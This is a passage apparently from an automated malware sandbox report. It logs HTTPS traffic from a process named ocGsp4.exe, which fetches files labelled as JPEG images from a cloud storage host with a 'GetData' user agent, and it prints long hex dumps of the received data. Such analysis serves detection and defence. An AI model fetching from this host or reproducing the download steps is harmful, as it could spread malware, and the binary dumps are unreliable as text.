2025-01-16 02:55:26 UTC	4096	IN	Data Raw: c3 8f ae 6b a3 4e 8c 8c 89 8a 8b bb 66 fa 15 1c 40 d7 45 6a 0d 3c 0a ea 62 81 9f 9c 9d 9e b3 ea 13 ac cb d0 8f f2 eb dc 40 32 33 15 5f dc 2b 1c db c0 69 be 0d f5 9a fc b0 a5 8c 0d 14 ff 63 f5 b9 a4 8d b4 ad be 22 34 78 e5 cc 65 24 7e f7 de d1 9a 58 cb 99 5d 98 d0 31 c2 08 cf dd 57 4b b4 a1 1c 1c 1b b7 d4 3e 65 a5 e6 e3 12 2f 65 7b e1 ee 0d 0c 0b fa 6d b3 dc fd 3b 87 d8 fc 7c 7e dd 05 02 03 04 6d 3f 57 b6 57 83 5f 29 0d 83 6b 34 1d fb 27 35 0f 16 ff 3b 16 00 1b 13 18 f6 b1 66 21 22 45 ad 33 ab 43 0c 2d c3 cf b7 0c 2e 49 3f 87 34 b9 62 37 5e 2b 2f 1b 64 ba fa 3f 3e 3f 40 43 80 25 cd 43 cb 23 6c 4d a3 0c bf 51 4e c4 67 da 15 57 3c e4 e7 7f b8 99 36 7f 5e 9c 51 d2 37 d9 7b 63 80 ac 75 5b 79 44 1a 33 ad 95 60 78 00 1d 23 18 b0 aa 39 1f 25 1a a3 fc d2 ed 9d d9 Data Ascii: kNf@Ej<b@23_+ic"4xe$~X]1WK>e/e{m;\|~m?WW_)k4'5;f!"E3C-.I?4b7^+/d?>?@C%C#lMQNgW<6^Q7{cu[yD3`x#9%
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: 2c 4d a6 a0 20 85 bf 62 23 7d 82 17 a5 30 de 99 08 fd bd 71 3f 39 61 73 43 04 d3 d0 32 6b df ec 1f f3 aa 3d 7b 0a ac d4 c6 23 eb ed fa 6d 34 b5 ed 0c e2 bd 2c ed e9 83 bc 4d 87 be 3e 5f 02 ba 42 ba da 19 39 86 8b 76 98 c3 52 60 65 25 e5 a0 40 e2 e2 87 c6 57 a0 12 c5 86 50 1e d8 82 61 b1 e8 7b 70 85 f2 3b b7 dd 68 1e f0 82 30 32 37 c7 33 54 06 4a a4 ff 6e be 09 90 75 b8 64 7a 3e 21 db ce 6f 5c 64 44 b9 59 00 93 ff 91 7d e8 f9 20 94 90 60 c8 6f 44 97 f9 8e b9 3f 4e a3 4f 16 b9 47 f2 81 03 6a 69 e2 21 55 c2 e5 97 52 04 26 ef ae c8 f0 44 77 88 66 31 a0 58 9d 00 de 3e a6 b9 c8 84 84 87 db 90 d9 4b f7 1b 42 d5 22 bd 5d b8 39 1d f5 0a 38 c0 d7 f6 11 bc a9 e2 0c 57 c6 d6 d2 a9 8d 6a 24 3b 74 4e 4b d1 a2 f8 51 7c c5 b8 66 61 13 6e 3f 61 be 64 71 7e 98 bf 08 7c a7 Data Ascii: ,M b#}0q?9asC2k={#m4,M>_B9vR`e%@WPa{p;h0273TJnudz>!o\dDY} `oD?NOGji!UR&Dwf1X>KB"]98Wj$;tNKQ\|fan?adq~\|
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: 94 13 4b ba 59 94 28 79 a8 e0 04 9d d9 34 71 d1 8c 52 64 54 a0 2b 3c 9c 31 d6 31 5f dd b0 e1 72 5d e3 d3 0b c9 a4 8c fb 2c 74 4a 06 21 9f e8 77 ac 0e 7a 81 04 97 79 d9 a7 dd 40 e7 17 4f ab a4 75 32 04 32 e1 14 a8 64 5f 11 ea c6 56 50 d4 0e a9 a2 60 f3 93 c9 f3 5b a6 1a 47 9d 93 21 ea 45 f3 4d b6 6f fb a9 28 33 1d 5a 7f 16 47 e8 cf ef 81 45 43 18 41 ba 88 08 34 0b 76 70 e2 cb ca 69 b2 1e ec 31 ce 87 99 c8 ea 75 26 3c 60 26 76 99 85 6f 63 0e 0a a5 9a c7 af 0b ca ae 36 08 d2 74 3d 9c 9f c4 1f ad bf b0 84 3c 40 df 89 dd 19 5a d3 d7 79 ab d7 2e 2a a0 76 2f e6 75 8b 65 39 ad 89 15 b0 7f fa 18 c5 c7 ac b2 d7 44 6c f2 c9 cc af e9 40 b3 57 30 a5 f3 1f f5 06 cf 73 14 18 f9 0d 72 f7 19 79 98 57 e5 11 81 1a 41 9d 8f a7 7d ea 03 5c 14 65 f8 a6 73 dd d4 70 b3 48 cb 66 Data Ascii: KY(y4qRdT+<11_r],tJ!wzy@Ou22d_VP`[G!EMo(3ZGECA4vpi1u&<`&voc6t=<@Zy.*v/ue9Dl@W0sryWA}\espHf
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: 7e 30 df f0 37 2c a5 37 4f 4c e2 13 7c d1 f8 91 c5 fa be cf 9e 00 28 6a dd ff a3 dc ca c7 5f af 65 39 20 43 0f 76 27 75 a7 a8 f1 fa 94 9f e4 b0 f7 a8 82 87 3b 0a 53 b7 20 93 c5 42 21 59 4a 44 cf 6d 00 01 ce a2 49 10 81 c0 c4 c2 ee b6 e5 6b df 46 07 d3 21 07 58 b3 27 fb fe f2 08 3e bc 0d 03 78 9c 6a b4 0f 93 15 14 83 ae 77 c8 e3 dc db 3a e9 9b 9d 1c c6 8a 7b 52 97 8e 19 85 b7 fb c2 a6 6b fd 94 63 78 f1 63 13 10 63 6f 18 d5 92 b6 d1 b7 a2 84 9b d4 90 d9 84 fc ef a5 a6 c5 ba b6 64 c7 fe d4 d4 23 c0 71 8e e4 e7 87 ee e0 7b 41 ab 03 0e d0 58 f4 61 98 ac 8a bc 7f 9b 4c 5a 39 6c 26 9a c8 d3 6c b4 71 fa 5a e7 33 7a 60 25 a6 5a 83 a7 05 e0 89 ab f3 71 7b 1f 34 10 5a c9 8f 29 a8 53 58 fe 56 32 96 b8 9e 3a d9 ee 0c 60 09 71 b5 2b 70 55 a8 b7 e2 8b 6b 95 ad 89 2f ca Data Ascii: ~07,7OL\|(j_e9 Cv'u;S B!YJDmIkF!X'>xjw:{Rkcxccod#q{AXaLZ9l&lqZ3z`%Zq{4Z)SXV2:`q+pUk/
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: e7 04 8e cb 30 d6 37 73 19 58 f3 d5 05 6a d7 87 a6 a4 b9 8e a3 5d cc d5 8b 34 ca e2 6a a0 78 0e e3 7b 1c 29 5a a6 5b 55 62 f1 e6 be 23 a0 43 ad e5 d7 92 f7 b3 96 4f 03 54 71 e0 f1 af 06 a6 f0 00 d1 7e 0a b5 f4 09 e0 28 9e fb 47 84 32 32 1b 8a 9f c1 2e bc e2 8e a0 2e ff 90 dd 7e c7 83 94 f3 d0 5a 05 5e 0b 2c b3 a4 f8 4a e7 0f 49 f6 3d ff 18 c0 83 1f 5d f8 00 bd db 23 65 28 8b 33 a9 4d 2b 81 26 66 9c dc 18 b6 96 f5 c0 bf 49 34 bb da 49 5e 06 d6 0f 1c e9 ba c4 8c 4c bb 0d 49 a4 6a fd d0 ef 7e 6b 35 34 10 92 02 52 67 16 58 07 e6 47 e0 dc bb dc 14 5e a1 d9 f0 67 70 2c ed fa 8f ca 33 6f ad 4f 2b e0 78 1e f0 18 a4 c5 e4 02 81 a3 0f 9f 0e 1b 45 92 27 fc 39 cc be 57 c0 4c f8 c9 c4 77 47 d4 ac 33 24 78 3d f0 d1 e4 b8 d2 ce 88 69 21 65 3a 2c 1f 95 b1 20 31 6f 2a 06 Data Ascii: 07sXj]4jx{)Z[Ub#COTq~(G22..~Z^,JI=]#e(3M+&fI4I^LIj~k54RgXG^gp,3oO+xE'9WLwG3$x=i!e:, 1o*
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: be d0 2a 4c 19 64 3b ba 0e 94 4e 20 15 9f c2 86 3a 4f 85 f3 ee 58 cd 35 91 2f 10 20 88 da 3e c0 05 f8 22 66 79 44 a0 a8 56 48 12 18 4c 26 67 bf 07 bd 0e 8a 4f b7 62 4f 64 7b 46 88 30 02 d0 63 3b 3d 3c 2c 8c 51 e6 c8 ad 43 c5 a4 f1 40 de 99 5c b6 f7 dc 3c 7d 03 cf d9 bc 50 d4 5c 1b dd e0 e1 e2 85 6d a9 c3 e7 80 7d cd 51 5d 8b 19 fb d4 7c 96 d7 f0 1c 7d 23 ef f9 3d bf d8 fd 3e b9 23 40 ea b3 f0 27 06 c6 ea 0b 81 ce 0f cf e6 d6 16 19 12 9a 03 7d 2b 37 16 c5 97 7f 38 15 f7 a1 1d 02 22 4b 1f a3 92 9d c1 35 82 21 2c 90 85 a7 9e 04 28 f5 b1 d9 e8 96 b1 29 17 fc ee 8c bf c7 80 28 0e ea b1 fb 7e 34 d7 f3 21 35 2f 26 43 09 73 42 b5 c9 ae 73 45 1e 38 5f c7 ea 8b e0 a7 ba f0 52 79 4f c7 e5 a4 8b dd 4b 28 03 3d a1 25 9f ac b6 97 e3 25 09 20 15 2d d1 f6 c6 3d 63 88 5a Data Ascii: *Ld;N :OX5/ >"fyDVHL&gObOd{F0c;=<,QC@\<}P\m}Q]\|}#=>#@'}+78"K5!,()(~4!5/&CsBsE8_RyOK(=%% -=cZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	63431	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:35 UTC	115	OUT	GET /FOM-52.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:35 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:35 GMT Content-Type: image/jpeg Content-Length: 5062442 Connection: close x-oss-request-id: 6788752709E5983832E5DEB6 Accept-Ranges: bytes ETag: "70C21DA900796B279A09040B00953E40" Last-Modified: Mon, 18 Nov 2024 15:32:22 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 360383310743409046 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: cMIdqQB5ayeaCQQLAJU+QA== x-oss-server-time: 183
2025-01-16 02:55:35 UTC	3548	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-16 02:55:35 UTC	4096	IN	Data Raw: f8 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-16 02:55:35 UTC	4096	IN	Data Raw: a3 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-
2025-01-16 02:55:35 UTC	4096	IN	Data Raw: f5 f5 f5 f3 fb ff fd f3 f5 f7 f5 f3 eb ef ed d3 d5 d7 d5 d3 dd bf a7 d3 d5 d3 d5 d3 2d 2f 2d 33 37 37 75 32 3d 3f 2d 33 35 27 35 33 2d 2f 3d 53 55 47 55 53 5d 5f 5d 53 45 57 55 53 11 b2 50 73 3f 77 75 73 f1 8d 4d 73 a9 77 75 73 6d 3f 17 53 b5 56 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 35 37 35 33 3d 0f 47 33 15 2c 35 33 2d 2f 2d d3 d5 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 f5 f7 f5 f3 fd ff fd f3 f5 f7 f5 f3 4d c9 97 d3 95 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 2d 1f 00 33 51 37 35 33 3d 3f 3d 33 35 37 35 33 2d 2f 2d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 43 1b 08 0b 01 77 75 73 1e cd 7c 73 75 67 75 73 6d 6f 6d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 15 37 35 53 13 4d 59 52 41 56 35 33 e5 a6 2d d3 d5 07 d4 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed Data Ascii: -/-377u2=?-35'53-/=SUGUS]_]SEWUSPs?wusMswusm?SVUS]_]SUWUS-/-35753=G3,53-/-M-3Q753=?=35753-/-SUWUS]_]SUWUSCwus\|sugusmomSUWUS]_]SUWUS-/-375SMYRAV53-
2025-01-16 02:55:36 UTC	4096	IN	Data Raw: f5 d1 7d e2 3a fb d9 7f 2d 5c 08 7e 89 cb e9 3a 78 19 d3 d3 54 a8 dd 3b c0 68 9c d3 da f6 a0 3f b8 09 85 13 9c b2 89 02 f5 bb 84 84 22 99 a1 5c eb db e4 e4 52 d7 a8 84 57 57 3d d3 53 dd 2c 15 fe 48 f8 17 59 7b 94 02 a5 74 75 f2 ab 6b 6d 53 55 5c 97 a4 8d b7 85 fd 1e 57 33 82 c4 fc f5 5b b3 98 02 7d b4 7b 18 33 b8 53 11 3f c4 e7 e4 99 d5 df 7a 12 6b f1 4b ab 5b 8f 5c 2e 0b c5 75 fb 0d d3 04 7a 6d a5 1d 7f b1 af 41 46 fd 97 72 44 70 9c 6c f0 98 c6 38 c7 3a 4f 9d 67 53 5d 8b 18 45 fa 27 78 f9 2c e7 bf e3 1a 15 03 e6 d9 54 24 d6 03 bf c8 c3 24 e4 ff 0d e1 62 93 bb 32 d3 1d e0 a9 69 56 22 dc 79 04 9f f6 79 91 f4 ce a4 27 3e 2c 7c 5a 6b f3 21 34 52 4f 12 6e 97 99 0b 32 20 48 ad 50 69 a7 06 6a 8b 46 53 7e 44 e7 8d 63 9d 43 d3 36 f2 39 ef 4b 76 db 20 c3 a9 cd f4 Data Ascii: }:-\~:xT;h?"\RWW=S,HY{tukmSU\W3[}{3S?zkK[\.uzmAFrDpl8:OgS]E'x,T$$b2iV"yy'>,\|Zk!4ROn2 HPijFS~DcC69Kv
2025-01-16 02:55:36 UTC	4096	IN	Data Raw: 4a 5c f2 f3 f2 cb a8 4e 59 1d d2 ce 66 43 81 7b ff 67 50 14 99 fb dd 4e 2d 27 1b 3b 32 e1 3d 33 3a 03 dd 71 52 2f 3d b3 f7 09 f2 37 09 35 05 d2 00 d7 a7 6e a2 5b 79 ad 9f 96 b5 c6 ed 9d 66 b3 39 53 74 34 ad bd bc 93 b3 fe 71 77 93 a5 84 18 86 55 55 ba d3 80 5c 53 d8 33 71 4b ee a2 49 17 31 de 70 f5 2e 3f d4 1a 6a 27 35 da f8 c9 29 d3 3d 14 a5 d5 dd 18 d9 f7 74 d2 59 bd 8b 6e 18 e6 02 30 b1 d7 f9 6b fa e2 61 91 0a 36 8b dc 30 3b 0f bb de d3 87 8c 44 53 a3 22 0d aa a3 e3 13 d4 68 4b 97 1e 19 a2 5f ef 4f 5c 9c 5f 83 e2 ed 0e 6b 27 d3 18 e0 1f 57 f6 99 4e 8f 66 e4 e9 d6 c4 39 a5 10 98 95 71 d9 7b bc 71 9c 9c 89 c1 9c 58 3a b4 2b 66 f8 3c 84 df 79 ba 43 96 ad af 4f c6 9e 70 72 72 50 0a 98 50 ac 17 9d c0 f8 94 89 96 25 87 df 01 09 25 05 6d 3f 30 e0 76 8e 06 07 Data Ascii: J\NYfC{gPN-';2=3:qR/=75n[yf9St4qwUU\S3qKI1p.?j'5)=tYn0ka60;DS"hK_O\_k'WNf9q{qX:+f<yCOprrPP%%m?0v
2025-01-16 02:55:36 UTC	4096	IN	Data Raw: e2 20 fb 64 56 1a 91 6e df 20 2c 89 77 e2 e2 05 39 f2 8e f5 00 2d 52 de 02 01 04 ca 1a ce 6a d2 47 a1 f6 d0 fe 59 5f 7b be ab de 7e b5 7b 3a bc 5c 60 b4 14 c4 40 8e 4f 1b d3 50 30 ca 88 05 19 87 a6 6c 44 9c 38 ec 39 0e 59 7b 02 e0 f1 72 5e f5 ad 67 1a cd 99 59 ab ba 5e 62 b2 6a a6 96 6c 3f b0 7f 47 31 af f9 8d b1 e6 2c 04 cc 68 ac 20 ea 27 da fc 3a c9 29 c2 2d 03 bc 6d b2 50 da 12 b2 4e b6 81 da 21 4d f8 86 bb 30 9c c3 3a 42 00 c7 75 98 22 d5 e2 ed f7 ca c4 d5 09 a4 4e 82 04 d4 70 9c 5e b4 e3 6c a8 46 17 b5 25 7a 7b b5 5c 61 52 62 b2 1a fe 80 42 8b a0 8b af 69 84 9a 79 9f 8b 45 e0 9d 05 e1 0c 2d e5 1f 50 b8 e2 04 38 e7 df 32 37 b0 48 b1 af 82 c3 27 a8 d2 aa e1 62 df e9 b2 a2 12 f5 be 96 d6 5d 5d 4d 27 3a 1a 32 92 06 ad 9a 5b a6 db 14 ee 80 13 e1 a7 67 c5 Data Ascii: dVn ,w9-RjGY_{~{:\`@OP0lD89Y{r^gY^bjl?G1,h ':)-mPN!M0:Bu"Np^lF%z{\aRbBiyE-P827H'b]]M':2[g
2025-01-16 02:55:36 UTC	4096	IN	Data Raw: 41 11 ac 16 c6 07 c4 9d 58 cd bb f4 f0 2b 3a 16 5a da 8a 33 81 27 42 b4 e4 1c b3 44 f3 eb 30 85 ed 13 a0 b4 46 35 68 06 83 59 2b bf 9b 83 03 97 31 12 15 bc 78 b1 76 b9 71 21 32 04 6b 81 a4 83 32 6f d6 69 98 27 df ea f9 0c 4f 4b 67 2f 4b 06 67 44 04 ef 78 60 0a 1a 43 f5 40 32 c2 0d 65 17 e5 08 cc a8 23 c1 d9 dd 70 6e 88 fc 7f 8d 81 6d 3c 8a c0 7c 8f 3d 55 13 79 ca fa 4f 7d 9f 59 1f ab 7a 58 3c b6 7e 0a 9f 2b 23 7e 6a 96 9f 38 e0 63 e5 5a 1a 32 5b b4 2a 2e c8 4b fc 30 60 d4 a2 2b 2b bb 40 ab 29 c3 47 5a c5 72 2a 67 22 60 fd 3a 2c 8c 49 94 ad 10 8c f4 1c aa 13 b2 44 63 6e 0d 2e 1c 0e 75 75 75 69 83 57 e4 6c 56 e5 7f 18 20 b8 d1 37 88 2a 1b 65 fe 57 b8 31 b5 b2 3c d8 01 d7 18 1c 20 44 7d d7 1c 11 ca 50 b1 34 77 e7 17 39 01 6f c0 e8 d3 94 88 53 e8 54 bc 80 c3 Data Ascii: AX+:Z3'BD0F5hY+1xvq!2k2oi'OKg/KgDx`C@2e#pnm<\|=UyO}YzX<~+#~j8cZ2[.K0`++@)GZrg"`:,IDcn.uuuiWlV 7*eW1< D}P4w9oST
2025-01-16 02:55:36 UTC	4096	IN	Data Raw: 40 ef cc 4c d0 d3 09 06 21 8c 0a e4 fd 58 ee 29 db 81 82 6d c1 a4 30 bc c1 88 36 cd ab 62 b5 32 ab fb fb ec 20 e3 1f be d1 52 c7 7b bf 58 54 f3 43 f2 8d 0e 8b f7 13 10 a0 bb 4f ee a1 7a 27 8f 37 90 b6 93 e7 12 94 df b3 75 98 ed 5e 3f 26 b3 6b dc e4 4b ac 06 65 59 29 76 21 46 e6 59 50 ec 8d 23 41 76 61 bd b4 2a c0 a1 d0 00 7d 85 b9 46 a9 73 14 b0 38 5b 50 8e c5 4d 41 4e b1 33 ec 52 c8 9b 60 d6 75 f5 94 ee 23 f4 6f f6 e6 d2 e9 4d 56 be d7 e4 8f 26 6e aa 79 e5 e6 5e 13 6c 17 b6 e2 e2 11 f5 fe 7e 0b 44 9b c6 aa 3a f9 70 8c 7b bc 07 41 a6 db 37 9c 40 ed 30 d4 63 08 f2 34 c3 bc 19 00 1b 0e a0 05 0a d9 18 ea e0 fd 6c 8a 5d c5 2d 44 59 87 c8 6a f8 9f 94 42 5d b7 0d 78 f1 3b 58 f0 58 03 2c 94 05 87 6d 14 59 c3 c8 52 68 6d 20 54 3c df df dd d3 b3 5e da 3a d6 ef ef Data Ascii: @L!X)m06b2 R{XTCOz'7u^?&kKeY)v!FYP#Ava*}Fs8[PMAN3R`u#oMV&ny^l~D:p{A7@0c4l]-DYjB]x;XX,mYRhm T<^:
2025-01-16 02:55:36 UTC	4096	IN	Data Raw: b2 15 03 58 89 56 b4 b6 a2 ad 03 9c f1 67 d1 75 f3 e8 19 38 39 86 89 50 71 f6 9c 55 6e f0 3c 79 b6 4b a6 36 b9 b4 a2 ab 24 ae 39 77 96 dd 86 d0 fd 7d 97 cb 0d f0 c5 e3 02 f9 c1 52 24 d9 92 d5 0f ce ba 02 8d 60 9d a4 7e 46 0c f6 07 7e 6e 99 9f b7 49 61 ff 7c c2 1d c4 45 e2 10 ab 9d 5d f3 48 c7 32 f2 49 bd 7e 2c f3 14 b8 55 84 3b b6 cd f2 2c a2 4e c8 2f 6a 5f 90 af 64 33 93 34 22 de 67 0c 00 0a 07 58 6d 1d 91 a5 e8 77 57 3e 92 ad 64 db 25 db 5a a7 9e fb ee 37 1e bf 9f 1c 20 8f 58 83 8e 9c 9d 1a 84 f4 2f e8 b6 e9 fc 5c 14 cf 3d a8 20 c1 36 73 8b 6d ad fa 19 32 a5 19 e7 34 c8 51 2a b2 c7 6f 71 16 6b 1a c9 12 87 4a 5b 13 27 7e 0c 5d 42 3e 1f df 6d a6 94 82 5a 53 5e fd 07 49 a4 e3 fa f2 49 de ae 8b 50 62 d9 cf c2 ba 82 06 00 8f 34 6e 19 e8 d9 e4 90 5c e0 85 6f Data Ascii: XVgu89PqUn<yK6$9w}R$`~F~nIa\|E]H2I~,U;,N/j_d34"gXmwW>d%Z7 X/\= 6sm24Q*oqkJ['~]B>mZS^IIPb4n\o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	63495	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:44 UTC	115	OUT	GET /FOM-53.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:45 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:45 GMT Content-Type: image/jpeg Content-Length: 366410 Connection: close x-oss-request-id: 67887531F9085333366CFE93 Accept-Ranges: bytes ETag: "DA1D5EB665D3AAD523BE59415E6449ED" Last-Modified: Tue, 22 Oct 2024 14:47:51 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5641369857548672686 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 2h1etmXTqtUjvllBXmRJ7Q== x-oss-server-time: 29
2025-01-16 02:55:45 UTC	3549	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:55:45 UTC	4096	IN	Data Raw: 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 Data Ascii: ```````````````````````````````````````````````````````````````
